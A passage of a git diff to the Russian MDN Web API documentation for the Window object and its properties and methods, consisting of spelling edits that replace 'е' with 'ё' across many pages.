            Событие beforeunload запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все ещё виден, и событие в этот момент может быть отменено.
            
 
 
diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html
index 860ba52331..c4b4dc2357 100644
--- a/files/ru/web/api/window/close/index.html
+++ b/files/ru/web/api/window/close/index.html
@@ -33,7 +33,7 @@ function closeOpenedWindow() {
 
 
            Закрытие текущего окна
            
 
-
            В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)
            
+
            В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдёт; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)
            function closeCurrentWindow() {
   window.close();
diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html
index fc1cf46867..c5cbbd98df 100644
--- a/files/ru/web/api/window/closed/index.html
+++ b/files/ru/web/api/window/closed/index.html
@@ -39,7 +39,7 @@ if (window.opener && !window.opener.closed) {
 
 
            Обновление ранее открытого всплывающего окна
            
 
-
            В данном примере функция refreshPopupWindow() вызывает метод reload у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.
            
+
            В данном примере функция refreshPopupWindow() вызывает метод reload у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно ещё не было открыто или пользователь его закрыл, открывает новое окно.
            
 
 
            var popupWindow = null;
 
diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html
index d6fac2ad19..6901458922 100644
--- a/files/ru/web/api/window/console/index.html
+++ b/files/ru/web/api/window/console/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/console
 ---
 
            {{ APIRef }}
            
 
-
            Свойство window.console дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.
            
+
            Свойство window.console даёт доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html
index f103f43f97..e70c15e507 100644
--- a/files/ru/web/api/window/crypto/index.html
+++ b/files/ru/web/api/window/crypto/index.html
@@ -10,7 +10,7 @@ translation_of: Web/API/Window/crypto
 ---
 
            {{APIRef}}
            
 
-
            {{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.
            
+
            {{domxref("Window.crypto")}} даёт доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html
index bd901523fb..9b1900a74e 100644
--- a/files/ru/web/api/window/frameelement/index.html
+++ b/files/ru/web/api/window/frameelement/index.html
@@ -31,7 +31,7 @@ if (frameEl) {
 
 
            Примечания
            
 
-
            Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <object> и других встраиваемых элементов.
            
+
            Заметьте, что несмотря на своё имя, свойство также работает для документов внутри <object> и других встраиваемых элементов.
            
 
 
            Спецификация
            
 
diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html
index 85080b7fa7..bb728217ab 100644
--- a/files/ru/web/api/window/getcomputedstyle/index.html
+++ b/files/ru/web/api/window/getcomputedstyle/index.html
@@ -17,11 +17,11 @@ translation_of: Web/API/Window/getComputedStyle
  
            Строка указывающая на найденный псевдо-элемент. Опускается (или null) для не псевдо-элементов.
            
 
 
-
            Возвращенный style живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.
            
+
            Возвращённый style живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.
            
 
 
            Выводы
            
 
-
            Метод Window.getComputedStyle() предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.
            
+
            Метод Window.getComputedStyle() предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчёта каких-либо значений, которые могут быть.
            
 
 
            Пример
            
 
@@ -73,7 +73,7 @@ var style = window.getComputedStyle(elem1, null);
 
 
            Описание
            
 
-
            Возвращенный объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из getComputedStyle только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <style> элемента или внешней таблицы стилей). Объект element.style следует использовать для установки стилей на специфических элементах.
            
+
            Возвращённый объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из getComputedStyle только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <style> элемента или внешней таблицы стилей). Объект element.style следует использовать для установки стилей на специфических элементах.
            
 
 
            Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например #text выдаст ошибку).
            
 
diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html
index c70c51e40c..e8f6f3fa73 100644
--- a/files/ru/web/api/window/getselection/index.html
+++ b/files/ru/web/api/window/getselection/index.html
@@ -25,7 +25,7 @@ translation_of: Web/API/Window/getSelection
     var selObj = window.getSelection();
     alert(selObj);
     var selRange = selObj.getRangeAt(0);
-    // вернет диапазон Range
+    // вернёт диапазон Range
 }
            
 
 
            Заметки
            
@@ -34,7 +34,7 @@ translation_of: Web/API/Window/getSelection
 
 
            В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр является объектом, функцией со своими методами и свойствами.
            
 
-
            В приведенном выше примере selObj.toString() автоматически задействуется, когда мы передаем в {{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : length, substr. В следствии чего, вам необходимо будет применить вручную метод   toString(), как тут:
            
+
            В приведённом выше примере selObj.toString() автоматически задействуется, когда мы передаём в {{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : length, substr. В следствии чего, вам необходимо будет применить вручную метод   toString(), как тут:
            
 
 
            var selectedText = selObj.toString();
            
 
@@ -49,7 +49,7 @@ translation_of: Web/API/Window/getSelection
 
 
            Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).
            
 
-
            На заметку, разница между selection и focus. {{domxref("Document.activeElement")}}  - это то, что вернется элемент, который выделен (focused) .
            
+
            На заметку, разница между selection и focus. {{domxref("Document.activeElement")}}  - это то, что вернётся элемент, который выделен (focused) .
            
 
 
            Спецификации
            
 
diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html
index fb679f5282..130637f6d3 100644
--- a/files/ru/web/api/window/history/index.html
+++ b/files/ru/web/api/window/history/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/history
 ---
 
            {{ APIRef }}
            
 
-
            Window.history является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).
            
+
            Window.history является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещённые в текущей вкладке или фрейме, который был загружен на текущей странице).
            
 
 
            Смотрите Управление историей браузера для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов pushState() и replaceState(), о которых вы должны быть в курсе перед их использованием.
            
 
@@ -22,11 +22,11 @@ history.go(-1);     // эквивалент history.back();
 
 
            Замечания
            
 
-
            Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект History, в выпадающем списке к кнопкам "назад" и "вперед".
            
+
            Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект History, в выпадающем списке к кнопкам "назад" и "вперёд".
            
 
 
            По причинам безопасности объект History не позволяет непривилегированному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.
            
 
-
            Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривилегированного кода. Наиболее близкое решение использовать метод location.replace(), который заменяет текущий пункт в истории сессии на предоставленный URL.
            
+
            Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперёд" из непривилегированного кода. Наиболее близкое решение использовать метод location.replace(), который заменяет текущий пункт в истории сессии на предоставленный URL.
            
 
 
            Спецификации
            
 
diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html
index 38048b3bfa..ad213b866e 100644
--- a/files/ru/web/api/window/index.html
+++ b/files/ru/web/api/window/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Window
 
 
            Объект window представляет собой окно, содержащее DOM документ; свойство document указывает на DOM document, загруженный в данном окне. Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.
            
 
-
            Данный раздел содержит описание всех методов, свойств и событий, доступных через объект window DOM. Объект window реализует интерфейс Window, который наследуется от интерфейса AbstractView. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в JavaScript ссылки и DOM ссылки.
            
+
            Данный раздел содержит описание всех методов, свойств и событий, доступных через объект window DOM. Объект window реализует интерфейс Window, который наследуется от интерфейса AbstractView. Некоторые дополнительные глобальные функции, пространства имён объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в JavaScript ссылки и DOM ссылки.
            
 
 
            В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект window (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. Работа с окнами в chrome коде). Таким образом, объект window не разделяется между разными вкладками в одном и том же окне. Некоторые методы,  а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяется для всего окна и не принадлежат объекту window отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.
            
 
@@ -27,7 +27,7 @@ translation_of: Web/API/Window
  
            {{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}
            
  
            Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.
            
  
            {{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}
            
- 
            Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.
            
+ 
            Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчёркиванием более не доступен для Web-содержимого.
            
  
            {{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}
            
  
            Возвращает XUL контроллер объектов для текущего окна chrome.
            
  
            {{domxref("Window.crypto")}} {{readOnlyInline}}
            
@@ -77,7 +77,7 @@ translation_of: Web/API/Window
  
            {{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}
            
  
            Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри mozScreenPixelsPerCSSPixel для конвертирования и адаптирования к экранным пикселям, если необходимо.
            
  
            {{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}
            
- 
            Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.
            
+ 
            Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчёта скорости преобразования.
            
  
            {{domxref("Window.name")}}
            
  
            Получает/устанавливает имя для окна.
            
  
            {{domxref("Window.navigator")}} {{readOnlyInline}}
            
@@ -154,7 +154,7 @@ translation_of: Web/API/Window
  
            {{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
            
  
            Возвращает булевское значение, указывающее является ли текущий контент безопасным (true) или нет (false).
            
  
            {{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
            
- 
            Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)
            
+ 
            Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока ещё не существует, поэтому не может быть использовано в браузерах.)
            
 
 
 
            Методы
            
@@ -169,9 +169,9 @@ translation_of: Web/API/Window
  
            {{domxref("Window.blur()")}}
            
  
            Убирает фокус с окна.
            
  
            {{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
            
- 
            Позволяет отменить колбэк-функцию прежде чем определить расписание ее вызова с {{domxref("Window.requestIdleCallback")}}.
            
+ 
            Позволяет отменить колбэк-функцию прежде чем определить расписание её вызова с {{domxref("Window.requestIdleCallback")}}.
            
  
            {{domxref("Window.captureEvents()")}} {{Deprecated_inline}}
            
- 
            Регистрирует окно, которое будет перехватывать все события определенного типа.
            
+ 
            Регистрирует окно, которое будет перехватывать все события определённого типа.
            
  
            {{domxref("Window.clearImmediate()")}}
            
  
            Отменяет повторяющееся исполнение, установленное с помощью setImmediate.
            
  
            {{domxref("WindowTimers.clearInterval()")}}
            
@@ -195,15 +195,15 @@ translation_of: Web/API/Window
  
            {{domxref("Window.focus()")}}
            
  
            Устанавливает фокус на текущем окне.
            
  
            {{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}
            
- 
            Переходит на один документ вперед в текущей истории окна.
            
+ 
            Переходит на один документ вперёд в текущей истории окна.
            
  
            {{domxref("Window.getAttention()")}}
            
  
            Заставляет мигать иконку приложения.
            
  
            {{domxref("Window.getAttentionWithCycleCount()")}}
            
  
            {{todo("NeedsContents")}}
            
  
            {{domxref("Window.getComputedStyle()")}}
            
- 
            Получает подсчитанные стили для определенного элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.
            
+ 
            Получает подсчитанные стили для определённого элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.
            
  
            {{domxref("Window.getDefaulComputedStyle()")}}
            
- 
            Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.
            
+ 
            Получает подсчитанные стили по умолчанию для определённого элемента, игнорируя авторские стили.
            
  
            {{domxref("Window.getSelection()")}}
            
  
            Возвращает выбранный объект, представляющий выбранный элемент(ы).
            
  
            {{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}
            
@@ -215,11 +215,11 @@ translation_of: Web/API/Window
  
            {{domxref("Window.minimize()")}} (top-level XUL windows only)
            
  
            Минимизирует окно.
            
  
            {{domxref("Window.moveBy()")}}
            
- 
            Сдвигает текущее окно на определенное значение.
            
+ 
            Сдвигает текущее окно на определённое значение.
            
  
            {{domxref("Window.moveTo()")}}
            
- 
            Сдвигает окно до определенных координат.
            
+ 
            Сдвигает окно до определённых координат.
            
  
            {{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}
            
- 
            Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  MozBeforePaint, прежде чем произойдет перерисовка .
            
+ 
            Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  MozBeforePaint, прежде чем произойдёт перерисовка .
            
  
            {{domxref("Window.open()")}}
            
  
            Открывает новое окно.
            
  
            {{domxref("Window.openDialog()")}}
            
@@ -229,15 +229,15 @@ translation_of: Web/API/Window
  
            {{domxref("Window.print()")}}
            
  
            Открывает Print Dialog для распечатки текущего документа.
            
  
            {{domxref("Window.prompt()")}}
            
- 
            Возвращает текст, введенный пользователем в диалоге подсказки.
            
+ 
            Возвращает текст, введённый пользователем в диалоге подсказки.
            
  
            {{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}
            
- 
            Возвращает окно с захваченных событий определенного типа.
            
+ 
            Возвращает окно с захваченных событий определённого типа.
            
  
            {{domxref("element.removeEventListener","Window.removeEventListener()")}}
            
  
            Удаляет обработчик события из окна.
            
  
            {{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}
            
  
            Позволяет назначить расписание задачи во время периода простоя браузера.
            
  
            {{domxref("Window.resizeBy()")}}
            
- 
            Меняет размер текущего окна на определенное число.
            
+ 
            Меняет размер текущего окна на определённое число.
            
  
            {{domxref("Window.resizeTo()")}}
            
  
            Динамически меняет размер окна.
            
  
            {{domxref("Window.restore()")}}
            
@@ -257,7 +257,7 @@ translation_of: Web/API/Window
  
            {{domxref("Window.setCursor()")}}
            
  
            Меняет курсор для текущего окна.
            
  
            {{domxref("Window.setImmediate()")}}
            
- 
            Исполняет функцию после того, как браузер некую тяжелую задачу.
            
+ 
            Исполняет функцию после того, как браузер некую тяжёлую задачу.
            
  
            {{domxref("WindowTimers.setInterval()")}}
            
  
            Назначает выполнение функции каждые X миллисекунд.
            
  
            {{domxref("Window.setResizable")}}
            
@@ -276,7 +276,7 @@ translation_of: Web/API/Window
  
            Методы, реализованные из других мест
            
  
  
            {{domxref("EventTarget.addEventListener()")}}
            
- 
            Регистрирует обработчики определенного типа событий в окне.
            
+ 
            Регистрирует обработчики определённого типа событий в окне.
            
  
            {{domxref("WindowOrWorkerGlobalScope.atob()")}}
            
  
            Декодирует строку данных, которая была закодирована, используя кодировку base-64.
            
  
            {{domxref("WindowOrWorkerGlobalScope.btoa()")}}
            
@@ -361,7 +361,7 @@ translation_of: Web/API/Window
  
            {{domxref("GlobalEventHandlers.onload")}}
            
  
            Свойство обработчика событий для загрузки окна.
            
  
            {{domxref("WindowEventHandlers.onmessage")}}
            
- 
            {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.
            
+ 
            {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("message")}}.
            
  
            {{domxref("GlobalEventHandlers.onmousedown")}}
            
  
            Свойство обработчика событий для события mousedown в окне.
            
  
            {{domxref("GlobalEventHandlers.onmousemove")}}
            
@@ -395,11 +395,11 @@ translation_of: Web/API/Window
  
            {{domxref("GlobalEventHandlers.onscroll")}}
            
  
            Свойство обработчика событий для прокрутки окна.
            
  
            {{domxref("GlobalEventHandlers.onwheel")}}
            
- 
            Вызывается, когда было прокручено колесико мыши в любую сторону.
            
+ 
            Вызывается, когда было прокручено колёсико мыши в любую сторону.
            
  
            {{domxref("GlobalEventHandlers.onselect")}}
            
  
            Свойство обработчика событий для события выбора в окне.
            
  
            {{domxref("GlobalEventHandlers.onselectionchange")}}
            
- 
            {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("selectionchange")}}.
            
+ 
            {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("selectionchange")}}.
            
  
            {{domxref("GlobalEventHandlers.onsubmit")}}
            
  
            Свойство обработчика событий для события submits в окне формы.
            
  
            {{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
            
@@ -413,7 +413,7 @@ translation_of: Web/API/Window
  
            {{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}
            
  
            Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).
            
  
            {{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}
            
- 
            Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).
            
+ 
            Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдёт от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).
            
 
 
 
            Конструкторы
            
@@ -422,7 +422,7 @@ translation_of: Web/API/Window
 
 
            
  
            {{domxref("Window.ConstantSourceNode")}}
            
- 
            Создает экземпляр {{domxref("ConstantSourceNode")}}
            
+ 
            Создаёт экземпляр {{domxref("ConstantSourceNode")}}
            
 
            
 
 
            
@@ -431,9 +431,9 @@ translation_of: Web/API/Window
  
            {{domxref("Window.GeckoActiveXObject")}}
            
  
            {{todo("NeedsContents")}}
            
  
            {{domxref("Image")}}
            
- 
            Создает {{domxref("HTMLImageElement")}}.
            
+ 
            Создаёт {{domxref("HTMLImageElement")}}.
            
  
            {{domxref("Option")}}
            
- 
            Создает {{domxref("HTMLOptionElement")}}
            
+ 
            Создаёт {{domxref("HTMLOptionElement")}}
            
  
            {{domxref("Window.QueryInterface")}}
            
  
            {{todo("NeedsContents")}}
            
  
            {{domxref("Window.XMLSerializer")}}
            
diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html
index 5207cf8536..a9ab800401 100644
--- a/files/ru/web/api/window/innerheight/index.html
+++ b/files/ru/web/api/window/innerheight/index.html
@@ -33,7 +33,7 @@ translation_of: Web/API/Window/innerHeight
 
            var intFrameHeight = window.innerHeight; // or
 
 var intFrameHeight = self.innerHeight;
-// вернет высоту окна просмотра кадра в наборе кадров
+// вернёт высоту окна просмотра кадра в наборе кадров
 
 var intFramesetHeight = parent.innerHeight;
 // will return the height of the viewport of the closest frameset
diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html
index d16b779f35..b5143f7ccf 100644
--- a/files/ru/web/api/window/localstorage/index.html
+++ b/files/ru/web/api/window/localstorage/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/Window/localStorage
 
 
            Свойство localStorage позволяет получить доступ к {{domxref("Storage")}} объекту. localStorage аналогично свойству sessionStorage. Разница только в том, что свойство sessionStorage хранит данные в течение сеанса (до закрытия браузера), в отличие от данных,  находящихся в свойстве localStorage, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.
            
 
-
            Следует отметить, что данные, сохраненные как в localStorage, так и в sessionStorage, являться специфичными для протокола страницы.
            
+
            Следует отметить, что данные, сохранённые как в localStorage, так и в sessionStorage, являться специфичными для протокола страницы.
            
 
 
            Ключи и значения всегда строки (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).
            
 
@@ -42,7 +42,7 @@ translation_of: Web/API/Window/localStorage
 
 
            localStorage.setItem('myCat', 'Tom');
            
 
-
            Считывать данные из localStorage для определенного ключа, можно следующим образом:
            
+
            Считывать данные из localStorage для определённого ключа, можно следующим образом:
            
 
 
            let cat = localStorage.getItem('myCat');
 
            
@@ -83,7 +83,7 @@ translation_of: Web/API/Window/localStorage
 
 
            {{Compat("api.Window.localStorage")}}
            
 
-
            Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.
            
+
            Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.
            
 
 
            Смотрите также
            
 
diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html
index d14951e9d3..26f2f2cd00 100644
--- a/files/ru/web/api/window/location/index.html
+++ b/files/ru/web/api/window/location/index.html
@@ -29,7 +29,7 @@ location = newLocation;
 
 
            Пример №1: Переход на новую страницу
            
 
-
            Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван location.assign() с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.
            
+
            Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван location.assign() с изменённым URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.
            
 
 
            location.assign("http://www.mozilla.org"); // или
 location = "http://www.mozilla.org";
@@ -73,7 +73,7 @@ location = "http://www.mozilla.org";
 // в html: <button onclick="sendData('Some data');">Отправить данные</button>
 
            
 
-
            Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).
            
+
            Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счёт изменения строки search).
            
 
 
            Пример №6: Использование закладок без изменения свойства hash
            
 
diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html
index 372a07f62e..52c4ce128c 100644
--- a/files/ru/web/api/window/mozanimationstarttime/index.html
+++ b/files/ru/web/api/window/mozanimationstarttime/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Window/mozAnimationStartTime
 
 
            Summary
            
 
-
            Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, Date.now(), потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.
            
+
            Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определённый момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, Date.now(), потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.
            
 
 
            Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.
            
 
diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html
index 2ecd37d8a1..d2267fe9e8 100644
--- a/files/ru/web/api/window/pageyoffset/index.html
+++ b/files/ru/web/api/window/pageyoffset/index.html
@@ -25,7 +25,7 @@ translation_of: Web/API/Window/pageYOffset
 
 
            Значение
            
 
-
            Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.
            
+
            Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка ещё не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.
            
 
 
            Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.
            
 
@@ -81,7 +81,7 @@ document.getElementById("frame").contentDocument
 
            
 
 
-
            В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения pageYOffset  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.
            
+
            В данном примере создаётся элемент {{HTMLElement("iframe")}}, и задаётся его содержимое, затем определённый элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения pageYOffset  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.
            
 
 
            HTML
            
 
diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html
index 65c7ef6a93..c2f07004b4 100644
--- a/files/ru/web/api/window/popstate_event/index.html
+++ b/files/ru/web/api/window/popstate_event/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/popstate_event
 ---
 
            Событие popstate вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом history.pushState() или history.replaceState(), то состояние события popstate будет содержать state копии входящего в историю объекта
            
 
-
            Обратите внимание,  history.pushState() или history.replaceState() не вызывают событие popstate. Событие popstate будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове history.back() или  history.forward() из JavaScript).
            
+
            Обратите внимание,  history.pushState() или history.replaceState() не вызывают событие popstate. Событие popstate будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперёд" или "Назад" (или при вызове history.back() или  history.forward() из JavaScript).
            
 
 
            Браузеры работают с  событием popstate по разному. Chrome (prior to v34) и Safari всегда вызывают popstate по окончании загрузки страницы, а Firefox не делает этого.
            
 
diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html
index d6db0cff3a..749e388816 100644
--- a/files/ru/web/api/window/postmessage/index.html
+++ b/files/ru/web/api/window/postmessage/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/postMessage
 ---
 
            {{ApiRef("HTML DOM")}}
            
 
-
            Window.postMessage() - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). window.postMessage() предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.
            
+
